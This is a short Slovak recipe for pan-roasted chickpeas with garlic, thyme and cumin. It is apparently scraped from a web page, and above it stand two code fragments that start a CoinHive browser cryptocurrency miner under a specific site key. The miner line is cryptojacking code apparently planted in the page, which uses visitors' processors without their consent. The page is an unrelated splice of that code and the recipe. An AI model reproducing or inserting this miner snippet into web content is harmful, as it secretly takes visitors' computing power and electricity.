

```
var miner = new
```

```
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU  
D87VW1NfjqcRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();
```

Potrebujeme: 1 konzervu cíceru, 3 PL olivového oleja, 1 ČL sušeného cesnaku, 1 PL čerstvého tymianu alebo 1 ČL sušeného, 1 a 1/2 ČL rímskej rasce, soľ a čierne korenie podľa chuti

Postup: Cícer zlejeme, opláchneme a osušíme. Na panvici rozohrejeme olivový olej, pridáme cícer a korenie a za stáleho miešania opekáme asi 7 minút, kým nezačne pukať a hnednúť. Upečený cícer vysypeme na papierovú utierku, aby vysala prebytočný tuk. V prípade potreby dochutíme.